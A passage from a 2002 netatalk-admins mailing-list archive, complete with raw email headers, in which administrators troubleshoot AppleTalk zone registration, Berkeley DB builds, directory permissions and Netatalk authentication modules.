	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA12429
	for <netatalk-admins@umich.edu>; Mon, 18 Feb 2002 09:24:10 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id PAA03174;
	Mon, 18 Feb 2002 15:51:11 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 18 Feb 2002 15:24:49 +0100
Subject: Re: Backing up a Netatalk share.
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Robert Thiemann <rethiema@vcu.edu>, Thomas Schierle <ts@visual-s.de>,
        Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B896CD40.1C1E1%Thomas.Kaiser@phg-online.de>
In-Reply-To: <p05100300b896bd052a27@[128.172.20.37]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 18 Feb 2002 09:15:58 -0500, Robert Thiemann wrote:

> Hmmm... where's the documentation for this live?

There is a couple of files in the doc directory of a netatalk source tree.
CONFIGURE is the one, you are searching for. 'man afpd.conf' will also be
helpful.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Feb 18 09:47:25 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA00542
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Feb 2002 09:47:25 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA20523
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Feb 2002 09:47:25 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA20505
	for netatalk.administrators-members@umich.edu; Mon, 18 Feb 2002 09:47:24 -0500 (EST)
Received: from mail.burneydesign.com (mail.burneydesign.com [216.166.207.34])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA20469
	for <netatalk-admins@umich.edu>; Mon, 18 Feb 2002 09:47:23 -0500 (EST)
Received: from [192.168.42.39] (216.166.207.35) by mail.burneydesign.com
 with ESMTP (Eudora Internet Mail Server 1.3.1); Mon, 18 Feb 2002 09:47:25 -0500
Mime-Version: 1.0
X-Sender: charles@mail.burneydesign.com
Message-Id: <f05100309b896c2e76edb@[192.168.42.39]>
In-Reply-To: <B892ABCB.B340%sflist@ihonk.com>
References: <B892ABCB.B340%sflist@ihonk.com>
Date: Mon, 18 Feb 2002 09:48:20 -0500
To: <netatalk-admins@umich.edu>
From: Charles Mangin <charles@burneydesign.com>
Subject: Re: DB3
Content-Type: text/plain; charset="us-ascii"

At 12:12 PM -0800 2/15/02, Steve Freitas wrote:
>You must be running 3.3.11, no exceptions. Get it here:
>
>http://www.sleepycat.com/update/3.3.11/db-3.3.11.tar.gz
>
>Just ./configure, make, make install. That should put it in /usr/local, I
>believe. Then add the following line to /etc/ld.so.conf:

thanks.

just to nitpick, to build the 3.3.11 distro, i needed to cd to build_unix then ../dist/configure

it's compiling on my machine right now, and i'll let you know how the rest goes...

From netatalk.administrators-errors@umich.edu  Mon Feb 18 09:58:14 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA01391
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Feb 2002 09:58:13 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA03392
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Feb 2002 09:58:13 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA03374
	for netatalk.administrators-members@umich.edu; Mon, 18 Feb 2002 09:58:13 -0500 (EST)
Received: from mail9.messagelabs.com (mail9.messagelabs.com [194.205.110.133])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id JAA03215
	for <netatalk-admins@umich.edu>; Mon, 18 Feb 2002 09:58:08 -0500 (EST)
X-VirusChecked: Checked
Received: (qmail 24420 invoked from network); 18 Feb 2002 14:58:02 -0000
Received: from raq358.uk2net.com (213.239.42.191)
  by server-9.tower-9.messagelabs.com with SMTP; 18 Feb 2002 14:58:02 -0000
Received: from keyfort.co.uk (itomkins.keyfort.co.uk [217.34.133.133])
	by raq358.uk2net.com (8.9.3/8.9.3) with ESMTP id PAA12386
	for <netatalk-admins@umich.edu>; Mon, 18 Feb 2002 15:00:00 GMT
Message-ID: <3C711691.2010906@keyfort.co.uk>
Date: Mon, 18 Feb 2002 14:58:25 +0000
From: Ian Tomkins <itomkins@keyfort.co.uk>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.8) Gecko/20020204
X-Accept-Language: en-us
MIME-Version: 1.0
To: Netatalk-Admins <netatalk-admins@umich.edu>
Subject: Problem with recopying folders
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

If I copy a folder with a file in onto a netatalk volume from a Mac 
(OS9.1), then delete the folder on the server (at a shell prompt) and 
then try to copy the same folder back on to the volume with the Mac I 
get the error 'The item "<file in folder>" cannot be written, because it 
cannot be found.'

If I remount the volume with the Mac I can copy the folder again.

I am using the noadouble option on the volume so copying on the folders 
is not causing the creation of .AppleDouble folders

Can anyone make any suggestions.

Environment:
Netatalk 1.5.1.1 on Redhat Linux 7.1 and 7.2 on Intel
Macintosh G3 MacOS 9.1

PS This is causing me particular problems because I am using netatalk to 
make 'hot folders' available to Mac users, ie stuff gets automatically 
removed from the folder on the server which then does something useful 
with it.



_____________________________________________________________________
Internet Security by Keyfort  www.keyfort.co.uk
This message has been checked by MessageLabs Virus Scanning Service

From netatalk.administrators-errors@umich.edu  Mon Feb 18 10:37:37 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA03958
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Feb 2002 10:37:37 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA20255
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Feb 2002 10:37:37 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA20253
	for netatalk.administrators-members@umich.edu; Mon, 18 Feb 2002 10:37:36 -0500 (EST)
Received: from acad2.drake.edu (acad2.drake.edu [207.28.190.6])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA20249
	for <netatalk-admins@umich.edu>; Mon, 18 Feb 2002 10:37:35 -0500 (EST)
Received: from CONVERSION-DAEMON.DRAKE.EDU by DRAKE.EDU (PMDF V6.1 #38814)
 id <01KEEY2XNL0W003QDY@DRAKE.EDU> for netatalk-admins@umich.edu; Mon,
 18 Feb 2002 09:37:22 -0500 (CDT)
Received: from dan.lib.drake.edu ([10.2.1.163]) by DRAKE.EDU (PMDF V6.1 #38814)
 with ESMTP id <01KEEY2XE8A6003QKV@DRAKE.EDU> for netatalk-admins@umich.edu;
 Mon, 18 Feb 2002 09:37:22 -0500 (CDT)
Date: Mon, 18 Feb 2002 09:39:16 -0600 (CST)
From: Dan Ramaley <daniel.ramaley@DRAKE.EDU>
Subject: Re: Re: Netatalk was running before, now broken...
In-reply-to: <B893E419.1BFAB%Thomas.Kaiser@phg-online.de>
To: netatalk <netatalk-admins@umich.edu>
Message-id: <01KEEY2XECA8003QKV@DRAKE.EDU>
MIME-version: 1.0
X-Mailer: Mahogany, 0.63 'Saugus', compiled for Linux 2.4.2-2smp i686
Content-type: TEXT/PLAIN; CHARSET=US-ASCII
Content-transfer-encoding: 7BIT
Content-disposition: INLINE
References: <B893E419.1BFAB%Thomas.Kaiser@phg-online.de>

On Sun, 17 Feb 2002 11:38:17 +0100 Thomas Kaiser <Thomas.Kaiser@phg-online.de> wrote:

> On Thu, 14 Feb 2002 18:30:14 -0600 (CST), Dan Ramaley wrote:
> 
> > My /etc/netatalk/atalkd.conf is empty except for comment lines.
> 
> If you have multiple interfaces on this host then try to use:
> 
> dc0 -phase 2
> 
> Atalkd tries to modify atalkd.conf, so if it is not acting as a seed router
> on an interface, it will write its AppleTalk address (given by the AppleTalk
> router) and the published zonenames for this segment into atalkd.conf, so
> you will get something like eg.
> 
> dc0 -phase -net 200-299 -addr 220.94 -zone "Another zone name"
> 
> afterwards. For debugging purposes you can use nbplkup and getzones or the
> output of nbprgstr (read the man pages for details)

I thought i'd already tried adding stuff to atalkd.conf at one point,
but i tried again. I added "dc0 -phase 2" as you suggested (even though
the server only has one interface) and restarted netatalk. What happened
was all the same stuff i've discussed in previous messages except the
line i wrote into atalkd.conf was changed to:


dc0 -phase 2 -net 200-299 -addr 291.192 -zone "Select Proper Zone"


"Select Proper Zone" is the default zone on the AppleTalk network here.
I still get the same error messages in the logs and the netatalk server
does not show up in the chooser.

If i run getzones i get one line like this:


Select Proper Zone


It doesn't matter if getzones is run without command line arguments or
not; if i add either "-l" or "-m" as listed in the man page, the output
remains the same.

nbprgstr is already being run by the netatalk start script. If i run the
commands from the start script manually, the resulting interaction looks
like this:


bash-2.05# nbprgstr "Backup Server:Server@Cowles Library"
nbp_rgstr: Undefined error: 0
Can't register Backup Server:Server@Cowles Library
bash-2.05# nbprgstr "Backup Server:netatalk@Cowles Library"
nbp_rgstr: Undefined error: 0
Can't register Backup Server:netatalk@Cowles Library


nbplkup with no arguments gives a couple pages of output like so:


                   E100B1@LIBNT:Microsoft( Windows NT* Prt 4.00    292.244:2
028ED4A6E056730466F0A934@CCAIRNS:Microsoft( Windows 2000* Prt       248.179:2
0A70869ED0894104ED80975@MERID224:Microsoft( Windows 2000* Prt       232.223:2
04D1EBA0C0836C04D8@DISABILITY-PC:Microsoft( Windows 2000* Prt       248.79:2
0C65BDD470C28F049390BE1@SECURITY:Microsoft( Windows 2000* Prt       216.94:2
05EC6332407BBF04E@OPTIPLEX-WIN2K:Microsoft( Windows 2000* Prt       276.229:2
               El90x1@DIMENSION:Microsoft( Windows NT* Prt 4.00    256.251:2
                   Router.Vlan2:ciscoRouter                        202.60:254
                               :ARA - Personal Server              257.142:2
                      <Unnamed>:  Power Macintosh                  257.142:252
                   <Unnamed>-15:  Power Macintosh                  289.70:252
  0182767273|qTimes DelphicBy:QuarkXPress<                       281.194:249
                Managing Editor:AFPServer                          281.194:247
                Managing Editor:PPCToolBox                         281.194:250
                Managing Editor:ARA - Personal Server              281.194:2
                Managing Editor:Multi-User Client                  281.194:48
                Managing Editor:  Power Macintosh                  281.194:252
                Managing Editor:Workstation                        281.194:4
                   <Unnamed>-22:  Power Macintosh                  284.163:252
     Carol SpauldingUs Computer:ARA - Personal Server              245.24:2
     Carol SpauldingUs Computer:Multi-User Client                  245.24:48
     Carol SpauldingUs Computer:  Power Macintosh                  245.24:252
     Carol SpauldingUs Computer:Workstation                        245.24:4
                           tech:  Power Macintosh                  208.216:252
                           tech:Workstation                        208.216:4
     Arts & Sciences 2 - LW Pro:LaserWriter                        200.104:128
                   meridith 224:AFPServer                          219.82:250
                   meridith 224:ARA - Client-Only                  219.82:2
                   meridith 224:  Power Macintosh                  219.82:252
                   meridith 224:Workstation                        219.82:4
                    <Unnamed>-5:  Power Macintosh                  247.213:252
       George McTyreUs Computer:AFPServer                          257.244:250
       George McTyreUs Computer:ARA - Personal Server              257.244:2
       George McTyreUs Computer:  Power Macintosh                  257.244:252
       George McTyreUs Computer:Workstation                        257.244:4
        3rd flr Music LW rm 321:LaserWriter                        200.81:128
                        sanders:AFPServer                          278.239:249
                        sanders:EPSON IJ Notification              278.239:250
                        sanders:ARA - Client-Only                  278.239:2
                        sanders:  Power Macintosh                  278.239:252
                        sanders:Workstation                        278.239:4
                             du:AFPServer                          268.27:250
                             du:ARA - Personal Server              268.27:2
                             du:Multi-User Client                  268.27:48
                             du:  Power Macintosh                  268.27:252
                             du:Workstation                        268.27:4
              cowles maclab b10:AFPServer                          282.244:249
              cowles maclab b10:ARA - Client-Only                  282.244:2
           Cowles MacLab UserF4:Lunch                              282.244:251
              cowles maclab b10:  Power Macintosh                  282.244:252
              cowles maclab b10:Workstation                        282.244:4
                               :ARA - Client-Only                  254.154:2
                   <Unnamed>-19:  Power Macintosh                  254.154:252
     Arts & Sciences 1 - LW Pro:LaserWriter                        200.196:128
                    <Unnamed>-2:  Power Macintosh                  209.17:252
     MIRH to DU Security Burris:VAResponder                        276.213:251
     MIRH to DU Security Burris:  Power Macintosh                  276.213:252
     MIRH to DU Security Burris:Workstation                        276.213:4
                   <Unnamed>-24:  Power Macintosh                  249.250:252
                  DTMRC8-A46/98:TB2Pro.523 ....M.aI.d.coSxtdiAv.   22.207:2
                  DTMRC8-A46/98:AFPServer                          22.207:249
                  DTMRC8-A46/98:ARA - Client-Only                  22.207:2
                  DTMRC8-A46/98:  Power Macintosh                  22.207:252
                  DTMRC8-A46/98:Workstation                        22.207:4
086027C7D09BB104A@PETER-GOPLERUD:Microsoft( Windows 2000* Prt       224.42:2
            Electronic News Lab:LaserWriter                        200.37:128
Meredith 124C LaserWriter 16/600:LaserShared                        200.182:129


Since getzones returns the default zone (i would think it would return
the rest of the zones, but returning 1 seems like a start) and nbplkup
finds lots of stuff (but not even close to everything that exists on the
network), it would seem to me that at some level things are working. But
things aren't completely working else i wouldn't be getting error
messages from netatalk and it would show up in the chooser on the Macs.
I appreciate the suggestions so far. But are there any other ideas that
may help solve this problem?

------------------------------------------------------------------------
Dan Ramaley
Digital Media Library Specialist
(515) 271-1934
Cowles Library 140, Drake University


From netatalk.administrators-errors@umich.edu  Mon Feb 18 11:02:42 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA05307
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Feb 2002 11:02:42 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA10219
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Feb 2002 11:02:42 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA10206
	for netatalk.administrators-members@umich.edu; Mon, 18 Feb 2002 11:02:41 -0500 (EST)
Received: from media.umbc.edu (media.umbc.edu [130.85.179.78])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA10173
	for <netatalk-admins@umich.edu>; Mon, 18 Feb 2002 11:02:40 -0500 (EST)
Received: (from ray@localhost)
	by media.umbc.edu (8.9.3/8.9.3/Debian 8.9.3-21) id LAA05162;
	Mon, 18 Feb 2002 11:02:39 -0500
From: Ray Shaw <ray@media.umbc.edu>
Date: Mon, 18 Feb 2002 11:02:39 -0500
To: netatalk-admins@umich.edu
Cc: netatalk-devel@lists.sourceforge.net
Subject: Re: [Netatalk-devel] Re: Directories are created with...unexpected permissions
Message-ID: <20020218110239.A4354@media.umbc.edu>
References: <001401c1b62f$6c780e50$a50c10ac@millerpubgroup.com> <Pine.LNX.4.33.0202150847420.32271-100000@bocklabs.wisc.edu> <20020215112730.F5038@media.umbc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020215112730.F5038@media.umbc.edu>; from ray@media.umbc.edu on Fri, Feb 15, 2002 at 11:27:30AM -0500


On Fri, Feb 15, 2002 at 11:27:30AM -0500, Ray Shaw wrote:
> On Fri, Feb 15, 2002 at 08:49:24AM -0600, Daniel E. Lautenschleger wrote:
> > I use 2770 on my directories (with SuSE 7.3) and files inherit the group
> > perms but the original creator of the file is still the owner.
> 
> Yes, that's the way it should be, but
> 
> > On Fri, 15 Feb 2002, Stuart Haas wrote:
> > 
> > > OK,
> > >
> > > So I see that there are only two of us with this problem, but I was able to
> > > duplicate this on an other machine, a standard Redhat 7.2 install with ext3
> > > file systems.
> 
> Hmm.  I forgot to mention this in my original message, but I'm also
> using ext3.  Since it should be the same as ext2 except for the
> journaling, I don't think that this should be the problem, but
> stranger things have happened.
> 
> Is anyone using 2770 directories successfully with ext3?  I don't
> think it's distribution specific, since I'm using Debian potato and
> Stuart Haas is using Red Hat 7.2.
> 
> (I'd try to test this myself by falling back to ext2, but I'm going to
> be away from my server all weekend, starting...about now, really :)

Since I didn't get any replies, I remounted everything as ext2 when I
got in today.  The problem is still there; directories created from a
macintosh have permissions of 0770, rather than 2770.

I downloaded the latest release (1.5.2), and compiled it with no
options to configure other than --enable-fhs, and I still get the same
thing.  I really don't want to have to fall back to my ancient
version, because I'd be really happy if Quark could work with the
network, but this is a bad problem.

I'm using kernel 2.4.17 on Debian potato.


-- 
--Ray

-----------------------------
Sotto la panca la capra crepa
sopra la panca la capra campa

From netatalk.administrators-errors@umich.edu  Mon Feb 18 11:07:57 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA05741
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Feb 2002 11:07:57 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA27281
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Feb 2002 11:07:57 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA27258
	for netatalk.administrators-members@umich.edu; Mon, 18 Feb 2002 11:07:56 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA27207
	for <netatalk-admins@umich.edu>; Mon, 18 Feb 2002 11:07:55 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id RAA03893;
	Mon, 18 Feb 2002 17:34:57 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 18 Feb 2002 17:08:35 +0100
Subject: Re: Netatalk was running before, now broken...
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Dan Ramaley <daniel.ramaley@DRAKE.EDU>,
        netatalk <netatalk-admins@umich.edu>
Message-ID: <B896E590.1C1FF%Thomas.Kaiser@phg-online.de>
In-Reply-To: <01KEEY2XECA8003QKV@DRAKE.EDU>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 18 Feb 2002 09:39:16 -0600 (CST), Dan Ramaley wrote:

> the line i wrote into atalkd.conf was changed to:
> 
> 
> dc0 -phase 2 -net 200-299 -addr 291.192 -zone "Select Proper Zone"

Fine.

> "Select Proper Zone" is the default zone on the AppleTalk network here.

What about the other zones on your network? Are you using zone mapping, that
means, publishing the same zone name in several segments?

If you open the AppleTalk control panel on a macintosh in the same segment:
Can you choose from a zone list?

> I still get the same error messages in the logs and the netatalk server
> does not show up in the chooser.

The server will only show up in chooser if afpd starts correctly and
registers itself as type "AFPServer".

> If i run getzones i get one line like this:
> 
> 
> Select Proper Zone
> 
> 
> It doesn't matter if getzones is run without command line arguments or
> not; if i add either "-l" or "-m" as listed in the man page, the output
> remains the same.

So 'getzones -l 202.60' won't show you more zones?
 
> [...]
> bash-2.05# nbprgstr "Backup Server:Server@Cowles Library"
> nbp_rgstr: Undefined error: 0
> Can't register Backup Server:Server@Cowles Library

But what happens, if you try to

    nbprgstr "Backup Server:AFPServer@Select Proper Zone"

Does something like 'Backup Server' appears in the chooser afterwards?

> bash-2.05# nbprgstr "Backup Server:netatalk@Cowles Library"
> nbp_rgstr: Undefined error: 0
> Can't register Backup Server:netatalk@Cowles Library

Please remember: You set your zone to "Cowles Library" in netatalk.conf. If
this zonename isn't valid on this segment, you won't be able to register
services or names into this zone.

> nbplkup with no arguments

Which is equal to 'nbplkup @*' (looking for devices in the default zone)

> gives a couple pages of output like so:
> [...]

Is "Cowles Library" a valid zonename on your network? If so, try 'nbplkup
"@Cowles Library"'

> Since getzones returns the default zone (i would think it would return
> the rest of the zones, but returning 1 seems like a start)

In general it returns all zones available to atalkd expect when you use the
'-l' switch. 

> and nbplkup finds lots of stuff (but not even close to everything that exists
> on the network), 

You asked nbplkup to just look into the default zone and so it did.

> it would seem to me that at some level things are working.

The only thing, that's confusing to me, is the output of getzones.

> But things aren't completely working else i wouldn't be getting error messages
> from netatalk 

Probably you try to do something illegal (in AFP terms ;-) --> registering
in a wrong zone.

> and it would show up in the chooser on the Macs.

Same as above. Maybe an illegal zone in this segment.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Feb 18 12:06:04 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA10296
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Feb 2002 12:06:04 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA05843
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Feb 2002 12:06:03 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA05812
	for netatalk.administrators-members@umich.edu; Mon, 18 Feb 2002 12:06:03 -0500 (EST)
Received: from tinman.daemonize.com (adsl-63-204-212-186.dsl.snfc21.pacbell.net [63.204.212.186])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA05769
	for <netatalk-admins@umich.edu>; Mon, 18 Feb 2002 12:06:01 -0500 (EST)
Received: from gretchen.daemonize.com (gretchen.daemonize.com [63.204.212.189])
	by tinman.daemonize.com (8.11.2/8.11.2) with ESMTP id g1IH5wD08580;
	Mon, 18 Feb 2002 09:05:59 -0800
Date: Mon, 18 Feb 2002 09:05:58 -0800
Subject: Re: atalkd under solaris 8
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v480)
Cc: <netatalk-admins@umich.edu>
To: <iss033@bangor.ac.uk>
From: Paul Krohn <pkrohn@daemonize.com>
In-Reply-To: <Pine.SOL.4.30.0202181228230.16567-100000@publix>
Message-Id: <C733B2FC-2491-11D6-A9B8-003065B9104A@daemonize.com>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.480)

I'm having similar trouble: I'm able to use clear text authentication, 
but not DHX. Also, I'm a little curious why you're using --enable-suse 
on Solaris.

On Monday, February 18, 2002, at 04:33  AM, S.Barbaresi wrote:

>>> Now if I could just get authenticated with netatalk 1.5.1.1 in 
>>> Solaris....
>
>> Are the uams in the right directory? Is this directory really searched
>> by afpd? Do you use PAM? What does your PAM file look like? Is the PAM
>> file in the right directory? Is that directory really searched by afpd?
>
> I have the same problem. The netatalk uams are in the right directory, I
> don't think they are being searched as a truss call doesn't show any 
> files
> being opened in the uams directory. What should the PAM file look like?
> Do we really need PAM with the following:
>
> 	./configure --prefix=/usr/local/atalk  \
>           --exec-prefix=/usr/local/atalk --with-shadow --enable-suse
>
> Sim
>
> ps I've been using 1.5.1.2, and I still see the same problems. Guest
>    logins are fine, but authenticated logins fail. What am I doing 
> wrong?
>
> S.Barbaresi 					E-mail s.barbaresi@bangor.ac.uk
> Computing Centre, UWB 				Tel (44) (01)248 382403 (ddi)
> Sackville Road 					Fax (44) (01)248 383826 (ddi)
> Bangor, Gwynedd LL57 1LD, UK


From netatalk.administrators-errors@umich.edu  Mon Feb 18 12:51:28 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA12646
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Feb 2002 12:51:27 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1IHpR225180
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Feb 2002 12:51:27 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1IHpRI25170
	for netatalk.administrators-members@umich.edu; Mon, 18 Feb 2002 12:51:27 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1IHpP125150
	for <netatalk-admins@umich.edu>; Mon, 18 Feb 2002 12:51:26 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id TAA04693;
	Mon, 18 Feb 2002 19:17:59 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 18 Feb 2002 18:51:38 +0100
Subject: authentication troubles (was: Re: atalkd under solaris 8)
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Paul Krohn <pkrohn@daemonize.com>, <iss033@bangor.ac.uk>
CC: <netatalk-admins@umich.edu>
Message-ID: <B896FDB9.1C230%Thomas.Kaiser@phg-online.de>
In-Reply-To: <C733B2FC-2491-11D6-A9B8-003065B9104A@daemonize.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 18 Feb 2002 09:05:58 -0800, Paul Krohn wrote:

> I'm having similar trouble: I'm able to use clear text authentication,
> but not DHX.

Well, it might help if you supply the following informations in cases like
these:

1) The complete configure switches.

2) afpd startup messages regarding UAMs ('grep'ing the syslog for "uam"),
   eg. something like:

   Feb 18 18:02:36 notebook-tk afpd[20620]: uam: loading
        (/usr/local/atalk/etc/netatalk/uams/uams_dhx.so)
   Feb 18 18:02:36 notebook-tk afpd[20620]: uam: uams_dhx.so loaded
   Feb 18 18:02:36 notebook-tk afpd[20620]: uam: loading
        (/usr/local/atalk/etc/netatalk/uams/uams_randnum.so)
   Feb 18 18:02:36 notebook-tk afpd[20620]: uam: uams_randnum.so loaded
   Feb 18 18:02:36 notebook-tk afpd[20620]: uam: loading
        (/usr/local/atalk/etc/netatalk/uams/uams_guest.so)
   Feb 18 18:02:36 notebook-tk afpd[20620]: uam: uams_guest.so loaded
   Feb 18 18:02:36 notebook-tk afpd[20620]: uam: "No User Authent" available
   Feb 18 18:02:36 notebook-tk afpd[20620]: uam: "2-Way Randnum exchange"
        available
   Feb 18 18:02:36 notebook-tk afpd[20620]: uam: "Randnum exchange"
        available
   Feb 18 18:02:36 notebook-tk afpd[20620]: uam: "DHCAST128" available

3) The complete list of UAMs in the folder, afpd is searching in:

   tk@notebook-tk:/usr/local/atalk/etc/netatalk/uams > ls -la *.so
   lrwxrwxrwx    1 root     root         14 Feb 18 18:01 uams_clrtxt.so ->
        uams_passwd.so
   lrwxrwxrwx    1 root     root         18 Feb 18 18:01 uams_dhx.so ->
        uams_dhx_passwd.so
   -rwxr-xr-x    1 root     root      66537 Feb 18 18:01 uams_dhx_passwd.so
   -rwxr-xr-x    1 root     root      27773 Feb 18 18:01 uams_guest.so
   -rwxr-xr-x    1 root     root      61586 Feb 18 18:01 uams_passwd.so
   -rwxr-xr-x    1 root     root      66283 Feb 18 18:01 uams_randnum.so

4) In case you are using PAM, some more details, how PAM is set up (as
   Sebastian asked for already)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Feb 18 13:13:17 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA14437
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Feb 2002 13:13:17 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA20417
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Feb 2002 13:13:17 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA20401
	for netatalk.administrators-members@umich.edu; Mon, 18 Feb 2002 13:13:16 -0500 (EST)
Received: from acad2.drake.edu (acad2.drake.edu [207.28.190.6])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA20386
	for <netatalk-admins@umich.edu>; Mon, 18 Feb 2002 13:13:15 -0500 (EST)
Received: from CONVERSION-DAEMON.DRAKE.EDU by DRAKE.EDU (PMDF V6.1 #38814)
